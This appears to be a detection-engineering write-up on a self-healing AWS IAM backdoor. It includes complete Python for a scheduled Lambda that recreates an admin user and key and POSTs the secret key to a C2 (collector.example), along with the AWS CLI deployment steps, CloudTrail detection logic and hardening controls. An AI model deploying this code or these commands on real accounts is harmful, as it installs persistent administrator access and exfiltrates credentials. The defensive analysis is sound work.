How the technique works

A scheduled Lambda function can maintain a self-healing IAM administrator backdoor. On each invocation, it checks for a specific IAM user, recreates the user when absent, restores the AdministratorAccess policy when detached, and creates a new access key when the user has no active key. Each newly created secret key is sent to a C2 while it is still available in the CreateAccessKey response.

Deleting the IAM user once is not enough: the next Lambda invocation recreates an AdministratorAccess user and sends a new long-term access key to the attacker.

The credential-bearing identity must be an IAM user, not an IAM role. Roles do not own long-term access keys. They produce temporary credentials when assumed. AdministratorAccess is an AWS managed policy that grants Action: * on Resource: *, and it can be attached directly to a user.[1][2]

flowchart TB
    P([Compromised principal])
    L[AWS Lambda watchdog]
    S[EventBridge schedule]
    U[IAM backdoor user]
    A[AdministratorAccess policy]
    K(Long-term access key)
    C([C2 endpoint])
    P -->|lambda:CreateFunction + iam:PassRole| L
    P -->|events:PutRule + events:PutTargets| S
    S -->|lambda:InvokeFunction every 5 min| L
    L -->|iam:GetUser| U
    L -.->|iam:CreateUser if missing| U
    L -->|iam:AttachUserPolicy if missing| A
    A --> U
    L -->|iam:CreateAccessKey if none active| K
    K -->|HTTPS POST| C
    class P principal
    class L,S,U,A awsResource
    class K credential
    class C c2
The scheduled function reconciles the IAM user, administrator policy, and active access key on every invocation.

This is more persistent than creating an IAM user once. Removing the access key causes the function to generate another. Detaching AdministratorAccess causes it to reattach the policy. Deleting the user causes the whole IAM chain to be rebuilt on the next schedule.

Preconditions

The deployment principal needs:

  • lambda:CreateFunction and iam:PassRole for a suitable Lambda execution role.
  • events:PutRule and events:PutTargets for the recurring rule.
  • lambda:AddPermission on the function so EventBridge can invoke it.

The Lambda execution role must trust lambda.amazonaws.com. For the target user, it needs iam:GetUser, iam:CreateUser, iam:ListAttachedUserPolicies, iam:AttachUserPolicy, iam:ListAccessKeys, iam:CreateAccessKey, and iam:DeleteAccessKey. The attachment permission must allow the arn:aws:iam::aws:policy/AdministratorAccess policy.[3]

These IAM permissions can be scoped to the exact user ARN, such as arn:aws:iam::111122223333:user/service/application-deployment. iam:AttachUserPolicy can also be constrained with iam:PolicyARN so the execution role can attach only the intended managed policy.[4]

The function needs outbound HTTPS access to the C2. A function outside a customer VPC has outbound internet access by default. A VPC-attached function normally needs a NAT path for public internet access.[5]

Execution

The handler keeps the user name, path, administrator policy, and C2 endpoint in the deployment package. It uses IAM read operations on every invocation, but performs mutating actions only when part of the backdoor is missing.

import json
import urllib.request
from datetime import datetime, timezone

import boto3
from botocore.exceptions import ClientError

USER_NAME = "application-deployment"
USER_PATH = "/service/"
ADMIN_POLICY_ARN = "arn:aws:iam::aws:policy/AdministratorAccess"
COLLECTOR_URL = "https://collector.example/ingest"


iam = boto3.client("iam")


def ensure_user():
    try:
        iam.get_user(UserName=USER_NAME)
        return False
    except ClientError as error:
        if error.response["Error"]["Code"] != "NoSuchEntity":
            raise

    iam.create_user(UserName=USER_NAME, Path=USER_PATH)
    iam.get_waiter("user_exists").wait(
        UserName=USER_NAME,
        WaiterConfig={"Delay": 1, "MaxAttempts": 20},
    )
    return True


def ensure_admin_policy():
    response = iam.list_attached_user_policies(UserName=USER_NAME)
    attached = {
        policy["PolicyArn"] for policy in response["AttachedPolicies"]
    }
    if ADMIN_POLICY_ARN not in attached:
        iam.attach_user_policy(
            UserName=USER_NAME,
            PolicyArn=ADMIN_POLICY_ARN,
        )
        return True
    return False


def ensure_access_key():
    response = iam.list_access_keys(UserName=USER_NAME)
    keys = response["AccessKeyMetadata"]
    if any(key["Status"] == "Active" for key in keys):
        return None

    for key in keys:
        iam.delete_access_key(
            UserName=USER_NAME,
            AccessKeyId=key["AccessKeyId"],
        )

    return iam.create_access_key(UserName=USER_NAME)["AccessKey"]


def beacon(access_key, context):
    payload = json.dumps(
        {
            "function_arn": context.invoked_function_arn,
            "request_id": context.aws_request_id,
            "observed_at": datetime.now(timezone.utc).isoformat(),
            "user_name": access_key["UserName"],
            "access_key_id": access_key["AccessKeyId"],
            "secret_access_key": access_key["SecretAccessKey"],
            "status": access_key["Status"],
        }
    ).encode("utf-8")

    request = urllib.request.Request(
        COLLECTOR_URL,
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(request, timeout=3) as response:
        response.read()


def lambda_handler(event, context):
    user_created = ensure_user()
    policy_attached = ensure_admin_policy()
    access_key = ensure_access_key()

    if access_key is not None:
        beacon(access_key, context)

    return {
        "user_created": user_created,
        "policy_attached": policy_attached,
        "access_key_created": access_key is not None,
    }

The IAM user_exists waiter polls GetUser once per second and stops after the user becomes visible. The function timeout must leave room for that IAM consistency check and the outbound request.[6]

Package and create the function with an existing execution role that has the required IAM permissions:

zip function.zip lambda_function.py

aws lambda create-function \
  --function-name application-processing \
  --runtime python3.13 \
  --handler lambda_function.lambda_handler \
  --role arn:aws:iam::111122223333:role/application-processing \
  --timeout 30 \
  --zip-file fileb://function.zip

Create an EventBridge rule, authorize it to invoke the function, and attach the function as the target:[7][8]

aws events put-rule \
  --name application-processing-schedule \
  --schedule-expression 'rate(5 minutes)'

aws lambda add-permission \
  --function-name application-processing \
  --statement-id allow-eventbridge-processing-schedule \
  --action lambda:InvokeFunction \
  --principal events.amazonaws.com \
  --source-arn arn:aws:events:us-east-1:111122223333:rule/application-processing-schedule

aws events put-targets \
  --rule application-processing-schedule \
  --targets 'Id=application-processing,Arn=arn:aws:lambda:us-east-1:111122223333:function:application-processing'

The first scheduled invocation creates the IAM user, attaches AdministratorAccess, creates an active access key, and sends the only available copy of its secret to the C2. IAM returns the secret access key only during key creation.[9]

If the user still exists with an active key, later invocations generate only IAM read events. If the user exists but the policy or active key is missing, the function restores only that component. Programmatic deletion of an IAM user requires its access keys and attached policies to be removed first, creating a window in which the scheduled function can restore them before DeleteUser succeeds.[10]

Detection

The strongest signal is a repeated self-healing sequence for one user: a deletion or removal action followed within five minutes by IAM creation actions from the same Lambda execution role. Detect CreateUser, AttachUserPolicy for AdministratorAccess, and CreateAccessKey as one chain, then look backward for DeleteUser, DetachUserPolicy, or DeleteAccessKey against the same user.

The Lambda and EventBridge provisioning chain provides earlier evidence. CreateFunction20150331 identifies the function, package digest, and execution role. PutRule records the five-minute schedule, PutTargets connects the rule to the function, and AddPermission20150331v2 authorizes EventBridge invocation.[11][12]

{
  "eventTime": "2026-09-01T12:00:00Z",
  "eventSource": "lambda.amazonaws.com",
  "eventName": "CreateFunction20150331",
  "awsRegion": "us-east-1",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::111122223333:assumed-role/DeploymentRole/session"
  },
  "requestParameters": {
    "functionName": "application-processing",
    "runtime": "python3.13",
    "handler": "lambda_function.lambda_handler",
    "role": "arn:aws:iam::111122223333:role/application-processing",
    "code": {},
    "environment": {}
  },
  "responseElements": {
    "functionArn": "arn:aws:lambda:us-east-1:111122223333:function:application-processing",
    "codeSha256": "P5VITRngl3L/kWmyVa6j5bLxE+yn+44ubt5qqYgt2JU=",
    "state": "Pending",
    "version": "$LATEST"
  }
}

IAM records all authenticated API calls as CloudTrail management events. The Lambda execution role appears under userIdentity.sessionContext.sessionIssuer.arn, which provides the join back to the function configuration.[13][14]

Detection inputs

Event source and name Operation-specific fields Why it matters
lambda.amazonaws.com and CreateFunction20150331 requestParameters.functionName, role, runtime, handler, responseElements.functionArn, codeSha256 Establishes the watchdog function and its IAM execution role.
events.amazonaws.com and PutRule requestParameters.name, scheduleExpression, state Establishes recurring execution.
events.amazonaws.com and PutTargets requestParameters.rule, targets[].arn Connects the recurring rule to the Lambda function.
iam.amazonaws.com and CreateUser requestParameters.userName, path, responseElements.user.arn Creates or recreates the backdoor identity.
iam.amazonaws.com and AttachUserPolicy requestParameters.userName, policyArn Grants the user AdministratorAccess.
iam.amazonaws.com and CreateAccessKey requestParameters.userName, responseElements.accessKey.accessKeyId, status Creates the long-term credential sent by the function.
iam.amazonaws.com and DeleteAccessKey requestParameters.userName, accessKeyId May precede automatic key replacement.
iam.amazonaws.com and DetachUserPolicy requestParameters.userName, policyArn May precede automatic administrator-policy restoration.
iam.amazonaws.com and DeleteUser requestParameters.userName May precede complete recreation of the backdoor.

Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, userIdentity.sessionContext.sessionIssuer.arn, sourceIPAddress, userAgent, and errorCode across these events.

Correlation logic

  1. Select successful CreateUser events initiated by an assumed role used as a Lambda execution role.
  2. Within two minutes, join AttachUserPolicy where the user name matches and policyArn equals arn:aws:iam::aws:policy/AdministratorAccess.
  3. Join CreateAccessKey for the same user and principal within the same two-minute window.
  4. Raise severity when DeleteUser, DeleteAccessKey, or DetachUserPolicy targeted that user during the previous ten minutes.
  5. Map the execution role to Lambda functions, then map those functions to scheduled EventBridge targets. A five-minute schedule that repeatedly performs IAM reads on one user is strong supporting evidence.
  6. Correlate the function with periodic outbound HTTPS to a new or rare destination when Lambda network telemetry is available.

Baseline approved IAM provisioning roles, automation users, Lambda execution roles, managed-policy attachments, and EventBridge schedules. Do not broadly allowlist administrator roles. Scope exceptions to the expected principal, target user, policy ARN, function, Region, and deployment source.

Hardening

The most effective controls prevent Lambda execution roles from creating credential-bearing IAM users or granting administrator permissions.

Control Implementation Why it helps
Lambda execution roles Remove iam:CreateUser, iam:CreateAccessKey, and IAM permissions-management actions from Lambda execution roles unless the workload requires them. Removes the function’s ability to build the backdoor.
Role passing Limit iam:PassRole to named Lambda execution roles and require iam:PassedToService to equal lambda.amazonaws.com.[15] Prevents a deployment principal from attaching an IAM-administration role to Lambda.
Permissions boundaries Require an approved boundary on CreateUser with the iam:PermissionsBoundary condition key. Ensure the boundary denies IAM administration and privilege escalation. Keeps an attached AdministratorAccess policy from granting unrestricted permissions.
Policy attachment Deny or tightly scope iam:AttachUserPolicy with iam:PolicyARN, especially for AdministratorAccess and other broad managed policies. Prevents the watchdog from restoring administrator privilege.
Access-key creation Restrict iam:CreateAccessKey to dedicated identity workflows and approved user ARNs. Prevents Lambda from generating a new long-term secret.
Lambda deployment Reserve lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:AddPermission, events:PutRule, and events:PutTargets for controlled deployment roles. Enforce code signing on protected functions.[16] Reduces who can install or replace a scheduled watchdog.
Network egress Place Lambda functions that do not need public internet in private subnets without NAT, with VPC endpoints for required AWS services. Removes the direct path used to send the secret access key to a C2.
Configuration monitoring Compare Lambda functions, execution roles, EventBridge targets, IAM users, attached policies, and access keys with approved infrastructure. Alert on recreation after deletion. Exposes the complete persistence relationship instead of treating each resource separately.

References


  1. AWS IAM User Guide, IAM roles. ↩︎

  2. AWS Managed Policy Reference, AdministratorAccess. ↩︎

  3. AWS IAM API Reference, AttachUserPolicy. ↩︎

  4. AWS Service Authorization Reference, Actions, resources, and condition keys for IAM. ↩︎

  5. AWS Lambda Developer Guide, Enable internet access for VPC-connected functions. ↩︎

  6. Boto3 API Reference, IAM.Waiter.UserExists. ↩︎

  7. Amazon EventBridge User Guide, Creating a rule that runs on a schedule. ↩︎

  8. Amazon EventBridge API Reference, PutTargets. ↩︎

  9. AWS IAM API Reference, CreateAccessKey. ↩︎

  10. AWS IAM API Reference, DeleteUser. ↩︎

  11. detection.wiki, AWS Lambda CloudTrail events and CreateFunction sample. ↩︎

  12. detection.wiki, EventBridge CloudTrail events and samples. ↩︎

  13. AWS IAM User Guide, Logging IAM and AWS STS API calls with AWS CloudTrail. ↩︎

  14. AWS Lambda Developer Guide, Logging Lambda API calls using CloudTrail. ↩︎

  15. AWS IAM User Guide, Grant a user permissions to pass a role to an AWS service. ↩︎

  16. AWS Lambda Developer Guide, Configuring code signing. ↩︎